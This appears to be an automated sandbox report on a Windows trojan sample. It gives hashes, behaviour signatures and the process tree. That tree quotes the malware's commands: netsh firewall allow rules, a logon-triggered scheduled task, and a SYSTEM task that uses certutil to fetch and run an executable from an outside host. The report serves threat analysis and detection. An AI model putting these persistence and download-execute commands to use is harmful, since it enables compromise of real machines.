Analysis
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max time kernel
72s -
max time network
149s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
09-11-2020 19:56
General
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Target
SecuriteInfo.com.Trojan.Siggen9.47152.28782.22356.exe
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Size
3.8MB
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MD5
e829d2351395c1efd672529f9b85b7fc
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SHA1
9954fcf07992c0f738b4b47a9189661fde4cfd8b
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SHA256
5851f851fd3f4818e16bcf8ac00b723f43d2efd4b2d1acd3c506a8d32f8de14b
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SHA512
438415a05479190e55756e08920096c8d5fe76efb68f5e2f0e84bcbfa71bc28040454e52d37329e2177bd7c55e6b231884eae19993caf5373a3d48a1087efe91
Malware Config
Signatures
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Suspicious use of NtCreateUserProcessOtherParentProcess 4 IoCs
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Windows security bypass 2 TTPs
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Executes dropped EXE 2 IoCs
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Modifies Windows Firewall 1 TTPs
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Loads dropped DLL 3 IoCs
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Windows security modification 2 TTPs 12 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 285 IoCs
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Suspicious behavior: EnumeratesProcesses 4 IoCs
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Suspicious use of AdjustPrivilegeToken 15 IoCs
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Suspicious use of WriteProcessMemory 20 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.47152.28782.22356.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.47152.28782.22356.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.47152.28782.22356.exe"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Trojan.Siggen9.47152.28782.22356.exe"2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\57f67627e14e\57f67627e14e\57f67627e14e.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies data under HKEY_USERS
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s seclogon1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exeMD5
13aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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C:\Windows\rss\csrss.exeMD5
e829d2351395c1efd672529f9b85b7fc
SHA19954fcf07992c0f738b4b47a9189661fde4cfd8b
SHA2565851f851fd3f4818e16bcf8ac00b723f43d2efd4b2d1acd3c506a8d32f8de14b
SHA512438415a05479190e55756e08920096c8d5fe76efb68f5e2f0e84bcbfa71bc28040454e52d37329e2177bd7c55e6b231884eae19993caf5373a3d48a1087efe91
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C:\Windows\rss\csrss.exeMD5
e829d2351395c1efd672529f9b85b7fc
SHA19954fcf07992c0f738b4b47a9189661fde4cfd8b
SHA2565851f851fd3f4818e16bcf8ac00b723f43d2efd4b2d1acd3c506a8d32f8de14b
SHA512438415a05479190e55756e08920096c8d5fe76efb68f5e2f0e84bcbfa71bc28040454e52d37329e2177bd7c55e6b231884eae19993caf5373a3d48a1087efe91
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\Users\Admin\AppData\Local\Temp\dbghelp.dllMD5
f0616fa8bc54ece07e3107057f74e4db
SHA1b33995c4f9a004b7d806c4bb36040ee844781fca
SHA2566e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026
SHA51215242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c
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\Users\Admin\AppData\Local\Temp\ntkrnlmp.exeMD5
335ee604bc5976ee83b38f3dddfed723
SHA12511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac
SHA2568373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f
SHA51287ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee
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\Users\Admin\AppData\Local\Temp\symsrv.dllMD5
5c399d34d8dc01741269ff1f1aca7554
SHA1e0ceed500d3cef5558f3f55d33ba9c3a709e8f55
SHA256e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f
SHA5128ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d
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memory/188-4-0x0000000000000000-mapping.dmp
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memory/188-6-0x0000000003BB0000-0x0000000003BB1000-memory.dmpFilesize
4KB
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memory/188-7-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/432-10-0x0000000000000000-mapping.dmp
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memory/732-12-0x0000000000000000-mapping.dmp
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memory/912-1-0x0000000003B10000-0x0000000003B11000-memory.dmpFilesize
4KB
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memory/912-2-0x0000000000400000-0x0000000000B10000-memory.dmpFilesize
7.1MB
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memory/1076-13-0x0000000000000000-mapping.dmp
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memory/1476-20-0x0000000000000000-mapping.dmp
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memory/2252-22-0x0000000000000000-mapping.dmp
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memory/2660-14-0x0000000000000000-mapping.dmp
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memory/2660-18-0x00000000041B0000-0x00000000041B1000-memory.dmpFilesize
4KB
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memory/3648-11-0x0000000000000000-mapping.dmp
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memory/3840-21-0x0000000000000000-mapping.dmp